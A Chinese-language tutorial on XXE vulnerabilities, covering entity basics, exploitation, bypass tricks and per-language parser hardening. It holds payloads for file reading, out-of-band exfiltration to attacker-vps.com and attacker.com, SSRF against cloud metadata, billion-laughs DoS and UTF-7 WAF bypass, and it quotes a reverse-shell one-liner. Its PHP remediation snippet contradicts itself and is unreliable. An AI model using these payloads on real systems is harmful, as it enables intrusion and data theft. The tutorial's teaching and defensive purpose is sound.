XXE漏洞深度解析:从XML实体到实战利用与防御

📅 2026/7/24 18:26:59
XXE漏洞深度解析:从XML实体到实战利用与防御
1. 项目概述为什么XXE漏洞至今仍是“常青树”如果你做过Web安全测试或者关注过近几年的高危漏洞预警XXEXML External Entity这个名字一定不会陌生。它不像SQL注入那样“历史悠久”也不像RCE那样“一击致命”但它的身影却频繁出现在各类大型应用、云服务甚至基础软件中从早期的微信支付SDK漏洞到近年用友NC Cloud等企业级软件的XXE风险每一次出现都足以让安全团队和开发者心头一紧。这个项目我们就来彻底拆解XXE漏洞从XML最基础的实体概念讲起一直深入到如何在实际的、复杂的黑盒与白盒环境中发现并利用它最后还会探讨它究竟能不能成为获取Webshell的跳板。简单来说XXE漏洞就是攻击者能够干预应用程序的XML解析过程通过构造恶意的外部实体声明让解析器去读取服务器上的敏感文件、发起内部网络请求甚至在某些场景下执行命令。它之所以“顽固”核心原因在于XML作为一种古老而强大的数据交换格式其设计初衷就包含了引用外部资源的灵活性而许多开发框架和库在默认配置下为了兼容性往往保留了这种危险的能力。对于安全测试人员理解XXE意味着多了一把打开内网大门的钥匙对于开发者理解XXE则是避免在无意中埋下重大隐患的必修课。2. XML实体与外部实体漏洞的根源设计要理解XXE必须先彻底搞懂XML实体Entity是什么。你可以把XML实体理解为一个“宏定义”或“变量替换”。在XML文档内部你可以定义一个实体然后在文档其他地方引用它解析时会被替换成实体的内容。2.1 内部实体文档内的快捷方式最基本的实体是内部实体它的定义和引用都在同一个XML文档内完成。语法如下!DOCTYPE test [ !ENTITY entity-name 这里是实体替换的内容 ] rootentity-name;/root当XML解析器处理这份文档时entity-name;会被替换成这里是实体替换的内容。这本身是无害的只是为了方便和可读性。2.2 外部实体通往危险的大门XXE的核心在于“外部实体”。与内部实体不同外部实体的内容来源于一个外部资源比如服务器上的一个文件、一个远程的HTTP URL。它的定义语法中包含了SYSTEM关键字!DOCTYPE test [ !ENTITY external-entity SYSTEM file:///etc/passwd ] rootexternal-entity;/root当解析器遇到这个实体声明并且其配置允许加载外部实体时它就会尝试去读取file:///etc/passwd这个文件并将文件内容作为external-entity;的值。如果应用程序原样输出了这个值那么/etc/passwd的内容就会泄露给攻击者。这就是最经典的XXE文件读取利用。注意file://是文件系统协议在Windows系统上可能是file:///C:/windows/system.ini。此外外部实体还支持http://、ftp://、php://filter等多种协议这大大扩展了攻击面。2.3 参数实体DTD内部的“变量”在DTD文档类型定义内部还有一种特殊的实体叫参数实体以%开头定义和引用。它主要用于在DTD内部进行模块化声明但在XXE攻击中扮演着关键角色尤其是在进行“盲注”和嵌套攻击时。!DOCTYPE test [ !ENTITY % remote-dtd SYSTEM http://attacker.com/evil.dtd %remote-dtd; ]这里定义了一个参数实体%remote-dtd其内容是远程的一个DTD文件。在声明之后立即通过%remote-dtd;进行引用这会触发解析器去获取http://attacker.com/evil.dtd并执行其中的内容。远程DTD中可以包含更复杂的恶意实体声明从而绕过一些本地的限制。3. 漏洞利用场景深度剖析不止于文件读取很多人对XXE的认知停留在“读取本地文件”这大大低估了它的危害。根据解析器的配置、后端语言、操作系统以及应用程序处理XML的逻辑XXE可以衍生出多种攻击场景。3.1 敏感信息泄露文件读取这是最基本也是最常见的利用方式。目标是读取服务器上的敏感文件。Linux/Unix系统尝试读取/etc/passwd用户列表、/etc/shadow密码哈希需高权限、/proc/self/environ环境变量可能包含密钥、~/.bash_history历史命令、/etc/hosts内网映射等。Windows系统尝试读取C:\windows\system.ini、C:\boot.ini旧系统、C:\Windows\System32\drivers\etc\hosts或者通过\\UNC\路径读取网络共享文件。Web应用相关读取Web目录下的配置文件如WEB-INF/web.xml可能泄露数据库密码、.env、config.php、application.properties等。实操要点遇到Java应用可以尝试使用php://filter协议进行封装读取即使目标不是PHP。例如php://filter/convert.base64-encode/resource/etc/passwd这会将文件内容进行base64编码后输出常用于处理包含特殊字符如换行符、、的文件内容避免XML解析错误。3.2 盲注XXEBlind XXE无回显下的信息探测更多的时候应用程序虽然解析了XML外部实体但并不会将结果直接返回给前端例如XML用于后端配置或数据导入。这时就需要利用盲注技术。盲注XXE的核心思想是让服务器向我们控制的监听服务器发起带出数据的网络请求。通常通过两种方式实现HTTP外带数据构造一个实体其内容是一个指向我们VPS的URL并将敏感文件内容作为URL参数或路径的一部分。!DOCTYPE test [ !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker-vps.com/?data%file; %eval; %exfil; ]这个Payload比较复杂它先定义参数实体%file读取并base64编码文件再动态构造另一个参数实体%exfil其URL中包含%file;的内容。当解析器处理时会向attacker-vps.com发起一个GET请求参数data里就包含了文件内容。你需要在VPS上监听HTTP日志来查看数据。利用DNS协议外带数据有时HTTP请求会被过滤或防火墙拦截但DNS查询通常被允许。可以尝试让服务器解析一个包含数据的子域名。!ENTITY % exfil SYSTEM http://attacker-vps.com/虽然这里写的是http但解析器在解析域名时必然先进行DNS查询。我们可以搭建一个DNS服务器查看收到的查询记录。更高级的利用会将数据编码进子域名如!ENTITY % exfil SYSTEM http://[base64-data].attacker-vps.com/。实操心得测试盲注XXE时Burp Suite的 Collaborator 功能是神器。它可以生成一个临时域名并自动监听该域名收到的所有HTTP、DNS请求。你只需将Payload中的目标地址换成Collaborator域名就能轻松判断漏洞是否存在以及请求是否发出无需自己搭建服务器。3.3 服务器端请求伪造SSRF由于外部实体支持http://、ftp://等协议XXE天然就可以用来让服务器向内部或其他外部网络发起请求即SSRF。这可以用来探测内网服务扫描内网IP和端口识别Redis、MySQL、Jenkins等管理后台。攻击内网脆弱应用如果内网存在未授权访问的Redis可以尝试通过gopher://协议如果解析器支持发送命令写入Webshell。访问云元数据接口在云服务器AWS、阿里云、腾讯云等上可以尝试访问http://169.254.169.254/这类元数据服务接口获取实例的AccessKey、SecretToken等高危信息。一个典型的SSRF Payload!DOCTYPE test [ !ENTITY ssrf SYSTEM http://169.254.169.254/latest/meta-data/ ] rootssrf;/root3.4 拒绝服务攻击DoS通过构造递归引用的实体可以消耗服务器大量的内存和CPU资源导致拒绝服务。这就是所谓的“亿笑攻击”Billion Laughs Attack。!DOCTYPE lolz [ !ENTITY lol lol !ENTITY lol2 lol;lol;lol;lol;lol;lol;lol;lol;lol;lol; !ENTITY lol3 lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2; !ENTITY lol4 lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3;lol3; !ENTITY lol5 lol4;lol4;lol4;lol4;lol4;lol4;lol4;lol4;lol4;lol4; ] rootlol5;/root解析时lol5;会展开成海量的“lol”字符串极易导致解析器崩溃。4. 实战利用链从XXE到命令执行与反弹Shell的路径这是大家最关心的问题XXE漏洞能反弹Shell吗答案是有条件的可能直接反弹Shell非常困难但通过组合其他漏洞形成攻击链可能性大大增加。XXE本身是XML解析器的漏洞它的直接效果是文件读取、SSRF、DoS。它不直接提供代码执行环境。但是它可以作为整个攻击链条的“先锋”和“侦察兵”为后续攻击铺平道路。4.1 利用路径一读取敏感文件获取突破口这是最直接的路径。通过XXE读取到的信息可能直接包含获取Shell的钥匙。读取数据库配置文件从web.xml、config.php、application.yml中获取数据库连接密码。如果数据库存在SQL注入或者允许远程连接就可能进一步利用。读取源代码通过php://filter读取网站的源码文件从中寻找更严重的漏洞如反序列化、命令注入等。读取密钥文件如AWS的~/.aws/credentials、SSH私钥id_rsa、Jenkins的secrets/master.key等。获取这些密钥可能意味着直接接管其他服务器或服务。4.2 利用路径二通过SSRF攻击内网服务这是将XXE危害放大的关键。假设通过XXE发现内网存在一个未授权访问的Redis端口6379服务。信息确认首先用XXE的SSRF功能探测http://192.168.1.10:6379如果返回类似-ERR wrong number of arguments for get command的Redis错误信息则确认存在。利用准备传统的Redis写入Webshell需要发送符合Redis协议的命令。虽然XXE直接发送原始TCP包比较困难但如果目标服务器上同时存在一个expect://协议支持的PHP环境极罕见理论上可以构造命令执行。更常见的场景是XXE帮你发现了这个内网Redis你可以结合其他已存在的、能向该内网IP发起更复杂TCP请求的漏洞比如另一个业务的SSRF来完成攻击。组合利用XXE在这里的作用是“内网探测”发现了关键的攻击目标。真正的攻击载荷可能通过另一个入口点投递。4.3 利用路径三特定环境下的命令执行在某些极其特殊和老旧的环境配置下存在直接通过XXE执行命令的可能性。PHP的expect://协议如果PHP安装了expect扩展生产环境几乎不会安装且allow_url_fopen和allow_url_include开启可以尝试!ENTITY xxe SYSTEM expect://id来执行命令。这在现实中几乎遇不到。Java的jar://、netdoc://等协议不同XML解析库支持不同的协议。有些协议在某些特定条件下可能用于构造特殊路径但通常不直接用于命令执行更多是用于文件遍历。结论单独依靠一个XXE漏洞直接获得一个交互式的反向Shell如bash -i /dev/tcp/ip/port 01是非常不现实的。它的核心价值在于信息收集文件、内网结构和权限突破的跳板SSRF。真正的RCE往往需要XXE结合其他漏洞比如XXE读取到一个存在反序列化漏洞的Jar包配置文件。XXE探测到内网存在Struts2漏洞的服务器然后通过另一个SSRF点攻击它。XXE读取到SVN/Git目录获取源码后分析出其他漏洞。5. 黑盒与白盒审计中的XXE挖掘技巧5.1 黑盒测试寻找XML输入点黑盒测试时你不知道后端用什么解析XML但可以寻找所有可能处理XML数据的地方。明确接收点文件上传关注上传功能是否支持上传XML、Office文档DOCX, XLSX本质是ZIP包内的XML、SVG图像基于XML、PDF可能内嵌XMP元数据上传后服务器是否会解析尝试上传恶意SVG图像是发现XXE的常见途径。API接口特别是SOAP服务其数据格式就是XML。寻找Content-Type: text/xml或application/xml的POST请求。现代的RESTful API也可能接受XML留意Accept和Content-Type头。单点登录SSO如SAML协议使用XML传输认证数据SAML Assertion就是一个经典的XXE攻击面。文档处理Word/Excel导入、PDF解析、邮件解析等功能都可能调用底层XML解析器。模糊测试与探测修改Content-Type如果一个接口默认接收JSON (application/json)尝试将其改为application/xml并在Body中放入简单的XML测试Payload观察响应是否变化或报错。使用通用Payload先使用一个无害但能判断解析器行为的外部实体。?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM http://your-burp-collaborator-domain ] rootxxe;/root分步测试先测试是否解析DTD插入一个内部实体声明看是否报错或正常处理。再测试是否允许外部实体使用file:///etc/passwd或 Collaborator URL。如果无回显立刻转入盲注Payload测试。5.2 白盒审计代码中的危险函数与配置对于开发者或进行代码审计的安全人员关注以下关键点Java生态解析器javax.xml.parsers.DocumentBuilderFactory、javax.xml.stream.XMLInputFactory、org.xml.sax.XMLReader、org.dom4j.*、org.jdom.*。危险配置需要显式设置以下属性为false来禁用外部实体。// DocumentBuilderFactory dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 最彻底禁用DTD dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); dbf.setFeature(http://apache.org/xml/features/nonvalidating/load-external-dtd, false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); // XMLInputFactory (StAX) xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);PHP生态解析器simplexml_load_string()、DOMDocument::loadXML()、xml_parse()。默认行为libxml库在 PHP 版本 8.0 前默认启用外部实体加载。必须使用libxml_disable_entity_loader(true);PHP 8.0或在创建解析器时设置选项。// 使用 libxml 选项推荐PHP 5.1 $doc new DOMDocument(); $doc-loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // 危险这样写不对 // 正确做法 $doc-loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // 仍然危险NOENT会解析实体 // 安全做法是使用 LIBXML_NOENT 但不加载DTD或者直接用 $doc-loadXML($xml, LIBXML_NOENT); // 也不安全 // 最安全明确禁用 libxml_disable_entity_loader(true); // PHP 8.0 $doc new DOMDocument(); $doc-loadXML($xml);Python生态解析器xml.etree.ElementTree默认安全不解析实体、lxml.etree默认不安全、xml.dom.minidom、xml.sax。重点检查lxml默认情况下lxml.etree的XMLParser或parse()/fromstring()会解析外部实体。from lxml import etree # 危险方式 parser etree.XMLParser() # 默认resolve_entitiesTrue tree etree.parse(test.xml, parser) # 安全方式 parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) tree etree.parse(test.xml, parser).NET生态解析器System.Xml.XmlDocument、System.Xml.XmlTextReader、System.Xml.Linq.XDocument。危险配置XmlDocument或XmlTextReader的XmlResolver属性如果被设置为null以外的值如默认的XmlUrlResolver且DtdProcessing被启用则存在风险。// XmlDocument 安全设置 XmlDocument xmlDoc new XmlDocument(); xmlDoc.XmlResolver null; // 关键禁用解析器 try { xmlDoc.LoadXml(xmlString); } catch (Exception ex) { /* 处理异常 */ } // XmlTextReader 安全设置 (推荐) using (StringReader sr new StringReader(xmlString)) { XmlReaderSettings settings new XmlReaderSettings(); settings.DtdProcessing DtdProcessing.Prohibit; // 禁用DTD处理 settings.XmlResolver null; // 禁用解析器 using (XmlReader reader XmlReader.Create(sr, settings)) { while (reader.Read()) { /* 安全处理 */ } } }6. 绕过技巧与WAF对抗实录在实际渗透中应用程序可能有一些简单的过滤或者部署了WAF。以下是一些常见的绕过思路编码绕过HTML实体编码将Payload中的关键字符如、、进行编码。例如!ENTITY编码为lt;!ENTITY。如果后端在解析XML前先进行了一次HTML解码则可能绕过。UTF-7编码极少数解析器支持UTF-7编码的XML其尖括号等字符会变得不同。ADw-对应AD4-对应。可以尝试将整个Payload转换为UTF-7。CDATA标签尝试将恶意DTD包裹在![CDATA[ ... ]]中但通常外部实体声明必须在DTD部分此方法成功率低。协议绕过如果file://、http://被黑名单过滤可以尝试其他协议php://filterPHP环境expect://PHP expect扩展jar://Javanetdoc://Java等同于file://ftp://、gopher://可能用于SSRF使用IP的十进制、八进制、十六进制形式或使用URL编码。例如http://2130706433/等价于http://127.0.0.1/。DTD位置绕过内部DTD最常用的方式DTD定义在文档内部。外部DTD通过!DOCTYPE root SYSTEM http://attacker.com/evil.dtd引用远程DTD。这可以缩短主Payload且可以在远程DTD中构造更复杂的实体。参数实体嵌套如前文盲注示例利用参数实体进行嵌套定义有时可以绕过简单的正则匹配。利用已知特性XML参数实体内部声明有些WAF只检测SYSTEM关键词但允许参数实体。可以尝试在内部声明中使用参数实体引用外部内容但构造起来更复杂。文件上传SVG上传一个包含XXE Payload的SVG图片文件。很多图像处理库如ImageMagick在解析SVG时会调用XML解析器可能触发漏洞。这是非常有效的旁路攻击。一个综合绕过示例假设过滤了SYSTEM和file://?xml version1.0 encodingUTF-7? ADw-ACE-DOCTYPE root AFs- ADw-ACE-ENTITY ACU- remote SYSTEM ACI-http://attacker.com/evil.dtdACIAPg- ACU-remoteADs- AF0APg- ADw-rootAD4-AAo-ADw-/rootAD4-这个Payload使用UTF-7编码并将恶意的DTD放到了远程服务器evil.dtd上主Payload里只包含引用。7. 修复方案与安全开发实践修复XXE的根本原则是禁用XML解析器处理外部实体的能力并尽可能禁用DTD。7.1 各语言安全配置汇总语言/库安全配置方法关键代码/属性Java (DocumentBuilderFactory)设置安全特性setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)Java (XMLInputFactory)设置安全属性setProperty(XMLInputFactory.SUPPORT_DTD, false)PHP (libxml)禁用实体加载器libxml_disable_entity_loader(true);(PHP8.0)Python (lxml)配置解析器XMLParser(resolve_entitiesFalse, no_networkTrue).NET (XmlReader)使用安全设置XmlReaderSettings { DtdProcessing DtdProcessing.Prohibit, XmlResolver null }Node.js (libxmljs)解析选项parseXml(xml, { noent: false, noblanks: true })7.2 白名单输入验证与净化如果业务必须使用DTD或某些实体功能则必须进行严格的输入净化。使用白名单只允许已知安全的元素和属性。XML Schema (XSD) 验证使用XSD严格定义XML文档的结构可以在解析前进行验证拒绝不符合格式的文档。但XSD本身也可能引入安全问题需确保其来源可信。专用解析器对于简单数据考虑使用JSON或YAML等更安全的格式。如果必须用XML使用仅解析不处理DTD/实体的轻量级解析器。7.3 依赖库升级与安全扫描及时升级确保使用的XML解析库如Apache Xerces、libxml2是最新版本已知的XXE相关漏洞已修复。SAST/DAST工具在开发流程中集成静态应用安全测试SAST和动态应用安全测试DAST工具定期扫描代码和运行中的应用发现潜在的XXE风险点。7.4 运维层面防护WAF规则部署的WAF应能识别和阻断常见的XXE攻击Payload。但需知WAF是缓解措施不能替代代码修复。网络隔离限制应用服务器向外发起网络请求的能力出站防火墙规则可以阻断盲注XXE的数据外带和SSRF攻击。但这可能影响正常业务功能需谨慎评估。8. 从用友NC Cloud漏洞看真实世界XXE回顾网络热词中的“用友nc cloud iupdateservice接口存在xxe漏洞”这是一个非常典型的真实案例。这类企业级软件通常有复杂的业务逻辑和大量的接口其中用于处理更新、数据导入导出的接口往往是XML解析的高发区。在实际测试这类系统时思路可以是这样信息收集发现目标使用用友NC Cloud搜索历史漏洞信息得知iupdateservice接口可能存在XXE。定位接口通过爬虫或目录扫描寻找类似/uapws/service/nc.xxx.iupdateService的端点。构造请求将请求的Content-Type改为text/xml并尝试发送一个简单的带外部实体的XML数据观察响应。利用如果存在漏洞可以尝试读取服务器上的web.xml来了解应用结构读取../../../../etc/passwd确认路径遍历或者利用SSRF探测内网的Redis、Weblogic等服务。深入结合读取到的配置文件如数据库连接字符串尝试连接数据库。或者利用SSRF攻击内网脆弱的Weblogic通过反序列化漏洞获取Shell。这个案例告诉我们在测试大型商业系统时关注其供应链、已知组件漏洞至关重要。同时这类系统的接口往往鉴权复杂但像“更新服务”这类接口有时为了便于内部调用可能鉴权并不严格从而成为突破口。我在实际渗透测试中遇到过不止一次在看似坚不可摧的主应用面前束手无策却通过一个附属的、文档处理功能的XXE漏洞拿到了第一台内网服务器的权限从而撕开了整个防御体系的口子。XXE就像一把精巧的万能钥匙虽然不能打开所有的锁但它能打开的那几扇门后面往往藏着更重要的东西。对于防御者而言在代码审查和组件安全上多花一分精力就能堵住这扇危险的后门。